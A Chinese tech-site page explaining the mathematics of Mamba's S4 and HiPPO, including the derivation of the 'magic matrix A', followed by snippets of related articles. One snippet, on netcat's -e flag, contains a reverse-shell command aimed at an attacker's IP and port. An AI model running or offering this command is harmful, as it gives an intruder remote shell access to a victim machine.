Mamba:4 魔幻矩阵A

news2024/10/5 15:22:25

若在阅读过程中有些知识点存在盲区,可以回到如何优雅的谈论大模型重新阅读。另外斯坦福2024人工智能报告解读为通识性读物。若对于如果构建生成级别的AI架构则可以关注AI架构设计。技术宅麻烦死磕LLM背后的基础模型。

​Mamba自从出道就一直被拿来和Transformer对比,文章巨多,带着标题的爆炸性字样“颠覆Transfomer”,“全面包围”等等。文章深浅不一,小编认为其背后的设计思路以及演化过程更加重要。为此本专题将从山上有座庙开始,沿着RNN、SSM、S4、HIPPO一路走来。期间抛弃冗杂的文辞,以更接地气的模式协助读者打开新的逻辑思维。

1分钟读完本文

接着Mamab3的话题,带领着读者们梳理一下前情回顾。SSM接受一组连续的信号,然后吐出对应的输出信号。中间的黑盒子基于输入信号和上一时刻的状态进行某种变换而得到新的状态。

这里需要提及S4,它可以认为是SSM的升级版本。其主要贡献不是HiPPO的魔幻矩阵,而是在拥有HiPPO矩阵的前提下,进行高效的计算。HiPPO是在《HiPPO: Recurrent Memory with Optimal Polynomial Projections. NeurIPS 2020》中定义的。

S4究竟依靠着魔法矩阵A来记住序列的所有历史,因此擅长对长序列建模,核心技术就是在线函数逼近。

  • 将输入序列视为时间的连续函数

  • 用一组预定义的简单函数的线性组合来近似模拟出输入函数

  • 只存储(线性组合的)系数作为状态

  • 系数可以通过求解线性常微分方程而(ODE)获得,其中方程参数就是魔幻矩阵A(全场MVP)

  • 值得一提的是当将连续时间转换为离散时间,线性ODE就成为了RNN,函数逼近的系数成为该RNN的隐藏状态

  • 重建信号也是十分简单,使用给定的隐藏状态(系数)来线性组合多项式基,从而重建所有输入的近似值

HiPPO的论文就是一本行走的数学书,鉴于大部分读者的数学基础,本文不展开具体的推导。中间摘取部分内容主要还是围绕着:在选定度量(或者衰减模式)和基函数的前提下,系数是如何求解出来的,以及魔幻矩阵A是从哪来的本章温馨提醒:意会即可,不可深究,否则夜不成寐。

HiPPO

HiPPO起源于函数逼近,就是用一系列更简单的函数来逼近一个复杂的函数。相信读者都知道的就是傅里叶变换,它用简单的不同频率的正弦曲线的线性组合来逼近复杂函数。

在原始的HiPPO论文中,研究人员用了多项式作为基函数。函数逼近理论基于泛函分析(一门学科)。 怎么理解呢,可以将它看成是定义在函数空间(而不是向量空间)上的线性代数(高端)版本。

下面的例子可以带给读者一些直观的印象,例如存在三个基向量,每个基向量乘上各自的系数a1,a2,a3进行线性组合就可以得到新的向量。同样的道理可以将A1,A2,A3替换成一组函数。

在泛函分析中将函数f(t)视为无穷维度的向量,也是可以表示为基函数的线性组合。注意这里ei是函数。在实践中当然不可能使用无穷多的基函数,因此一般的做法就是采用有限数量的N个基函数近视模拟。按照常识N越大,近似误差就越小。

S4中使用缩放勒让德多项式(Scaled Legendre Measure),后面会提及的多种优点。下图就采用8个基函数配合不同的系数,拟合出红色的曲线。

魔幻矩阵A

在真实的场景中输入信号是持续进来的,因此模拟和逼近也是时刻进行。

其中f<t定义为目标函数f在时间t之前的逼近和拟合。在时间t1时刻只能观察函数f(黑线)到t1,可以得到如下的组合。

同理当时间窗口来到t4的时候,又得到新的组合。在不同的时间,系统存储的是系数向量,也就是C[c_{t_{i},0}, c_{t_{i},1}, ... , c_{t_{i},n}]

那么现在的问题就来到了如何计算系数。解决的办法和线性代数类似,采用计算内积的方式将目标函数f投影到基函数ei。看到这儿不用慌,在泛函分析中,函数和函数之间基于μ的内积的定义公式如下:

μ可以先忽略,这个积分可以看成中学学过的普通积分。对所有系数ci按照上面的公式进行微分并经过(大量)的数学推理将得到一个ODE(微分方程)。在HiPPO的原文中就是这样的,

然后将这个式子整理整理,用向量化来表示就得到公式29。

紧接着再仔细观察下公式29,再结合下面连续SSM的公式,是不是很相似。上面的c(t)和下面x(t)一个含义,f(t)和u(t)一个含义

那么魔幻矩阵A就是这么被推导出来。

HiPPO框架

刚才提到了度量μ,抛开繁杂的数学公式,可以来这么理解:当用一组函数的线性组合去拟合输入信号的时候,需要有个评估的标准。也就是怎么证明是最优的,或者能够按照期望的模式去拟合。(比如指数衰减还是平均衰减),不同的度量会对应着不同的魔幻矩阵A。因此这里就郑重的提出了HiPPO框架,一般工作流程如下:

  • 定义一个度量μ(t)(例如缩放的勒让德度量)或者权重函数ω(t,x)

  • 确定基函数集Pn(t,x)

  • 对度量或者权重函数,以及基函数集求导

  • 按照02小节进行基于内积与ODE的魔幻矩阵A推导

进而得到结果:

动态扩展的勒让德多项式

另外其实随着时间的流动会存在输入信号大于基函数,在HiPPO的论文中研究人员做了一些改进,提出了可以缩放的基多项式。

本文讨论了S4和魔幻矩阵A背后的一些数学原理,核心技术就是在线函数逼近。魔幻矩阵A是为了求解ODE而推导出来,通过求解ODE可以得到这一时刻的线性组合的系数。将连续ODE离散化为离散序列,可以得到RNN。通过改良的RNN能够记住过往的历史,然而计算效率不高。下文将开展S4剩余的部分进行讲解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1672565.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HIVE卡口流量需求分析

HIVE卡口流量需求分析 目录 HIVE卡口流量需求分析 1.创建表格 插入数据 2.需求 3.总结&#xff1a; 1.创建表格 插入数据 CREATE TABLE learn3.veh_pass( id STRING COMMENT "卡口编号", pass_time STRING COMMENT "进过时间", pass_num int COMMENT …

懒人网址导航源码v3.9

测试环境 宝塔Nginx -Tengine2.2.3的PHP5.6 MySQL5.6.44 为防止调试错误&#xff0c;建议使用测试环境运行的php与mysql版本 首先用phpMyAdmin导入数据库文件db/db.sql 如果导入不行&#xff0c;请直接复制数据库内容运行sql语句也可以 再修改config.php来进行数据库配置…

AI智能体|我把Kimi接入了个人微信

大家好&#xff0c;我是无界生长。 最近加入AI学习交流群的小伙伴越来越多&#xff0c;我打算在微信群接入一个聊天机器人&#xff0c;让它协助管理微信群&#xff0c;同时也帮忙给群友解答一些问题。普通的群聊机器人肯定是不能满足需求的&#xff0c;得上AI大模型&#xff0c…

EPS软件标注点坐标值

1、如下&#xff0c;点击右侧&#xff08;尺寸标注&#xff09;按钮&#xff1a; 2、弹出一个对话框&#xff0c;如下&#xff1a; 3、在上图对话框中设置好箭头样式和小数位数&#xff0c;然后点击图上一点&#xff0c;右击结束再鼠标指定位置&#xff0c;如下&#xff1a; 如…

同城预约上门服务家政小程序

基于Thinkphp和原生微信小程序开发的一款同城预约、上门服务、到店核销家政系统&#xff0c;用户端、服务端、门店端各端相互依赖又相互独立&#xff0c;支持选择项目、选择服务人员、选择门店多种下单方式&#xff0c;支持上门服务和到店核销两种服务方式&#xff0c;支持自营…

树莓派|连接CSI接口摄像头+opencv

CSI&#xff08;Camera Serial Interface&#xff09;接口摄像头是一种常见的嵌入式系统或移动设备中使用的摄像头接口。它通常用于与处理器或图像传感器进行直接连接&#xff0c;实现高速的图像数据传输。 CSI接口摄像头具有以下特点&#xff1a; 高速传输&#xff1a;CSI接口…

仓库管理流程详解(附作业流程图)

仓库管理流程在企业的日常运营中至关重要。它不仅是物资流转的核心环节&#xff0c;更关乎着企业的运营效率、成本控制和客户服务水平。一个高效、规范的仓库管理流程能够确保货物从入库到出库的各个环节有序进行&#xff0c;减少资源浪费和时间成本&#xff0c;同时帮助企业实…

pdf怎么标注红色方框?五种PDF标注红色方框方法

pdf怎么标注红色方框&#xff1f;在当今数字化时代&#xff0c;PDF文档已成为我们日常工作和学习中不可或缺的一部分。然而&#xff0c;如何在海量的PDF文件中快速、准确地标注出重要信息&#xff0c;让内容更加醒目呢&#xff1f;今天&#xff0c;我将向大家介绍五种PDF标注红…

锁和MVCC如何实现mysql的隔离级别

概述 MVCC解决读的隔离性&#xff0c;加锁解决写的隔离性。 读未提交 读未提交&#xff0c;更新数据大概率使用的是独享锁吧。 读已提交 在 Read Committed&#xff08;读已提交&#xff09;隔离级别下&#xff0c;每次执行读操作时都会生成一个新的 read view。这是因为在读…

【数据结构】-- 相交链表-环形链表

交叉链表 . - 力扣&#xff08;LeetCode&#xff09; 如果链表的两条链的长度一样&#xff0c;链表两端对齐&#xff0c;解决这个问题将会变得非常简单&#xff0c;直接分别遍历两个链表&#xff0c;想等时的节点即为所求。我们想办法让链表对齐--分别从a和b遍历链表&#xff…

VRRP虚拟路由器冗余协议

VRRP概述 VRRP是什么 VRRP&#xff1a;虚拟路由器冗余协议过把几台路由设备联合组成一台虚拟的路由设备&#xff0c;将虚拟路由设备的IP地址作为用户的默认网关实现与外部网络通信当网关设备发生故障时&#xff0c;VRRP能够选举新的网关设备承担数据流量&#xff0c;从而保障…

2024年最新青龙面板跑脚本教程(一)持续更新中

文章目录 步骤 1: 安装青龙面板步骤 2: 访问青龙面板步骤 3: 上传或创建JavaScript脚本步骤 4: 添加定时任务步骤 5: 查看日志示例脚本步骤 6: 管理依赖和环境变量通用依赖如下&#xff0c;可手动增加。 要在青龙面板上运行JavaScript脚本&#xff0c;首先需要确保你已经成功安…

QCC---Aptx Lossless验证

因为aptx Lossless属于高通骁龙声音的一部分&#xff0c;一般支持高通骁龙声音的设备会支持到&#xff0c;比如说手机&#xff0c;而且还要支持最新的aptx adaptive协议R2.2版本。但是如果手上没有这样的手机的话&#xff0c;有source芯片也可以去做测试验证。在最新的784.1版本…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

重发布与路由决策

单点重发布 将A协议--->B协议 [r2-rip-1]import-route ospf 1 将静态---->B协议 [r2-rip-1]import-route static 将直连---->B协议 [r2-rip-1]import-route direct 双点重发布 路由回馈&#xff1a;指的是从某协议传出的路由信息又被传回该协议中。可以引起选路…

景源畅信:小白如何做抖音电商怎么样?

在数字浪潮中崛起的抖音电商&#xff0c;以其独特的平台优势吸引了众多创业者的目光。特别是对于初入电商领域的“小白”来说&#xff0c;如何在这个全新的领域站稳脚跟&#xff0c;成为他们迫切需要解答的问题。接下来&#xff0c;我们将深入探讨小白如何在抖音电商中开辟属于…

java+B/S架构医院绩效考核管理系统maven+Visual Studio Code+avue医院绩效管理系统4大特点

javaB/S架构医院绩效考核管理系统源码mavenVisual Studio Codeavue医院绩效管理系统4大特点 医院绩效考核管理系统&#xff0c;采用多维度综合绩效考核的形式&#xff0c;针对院内实际情况分别对工作量、KPI指标、科研、教学、管理等进行全面考核。医院可结合实际需求&#xff…

uniapp 安卓证书导出成cer文件 查看公钥

// your_alias 换成 证书详情中的别名&#xff0c;your_keystore.keystore 改成自己的证书文件名 keytool -export -alias your_alias -file certificate.cer -keystore your_keystore.keystore双击生成的cer文件 可以查看到证书的详细信息 其中就包括证书的公钥

Python Socket

一、服务端 from socket import *def print_hi(name):print(fHi, {name})# 允许所有ip连接IP 0.0.0.0# 端口PORT 8003# 定义一次从socket缓冲区读入512个字节数据BUFFER_LEN 1024# 实例化socket对象 listenSocket 用来监听的socketlistenSocket socket(AF_INET, SOCK_STRE…

Vulnhub-wp 获取vulnhub靶机wp搜索工具

项目地址:https://github.com/MartinxMax/vulnhub-wp 简介 搜索Vulnhub平台的解题文章,之过滤返回出正确可访问的页面 使用 $ python3 vulnhubwp.py 支持模糊搜索 [] Query: kiop 进入选项4,获取wp地址 [] Choice options: 4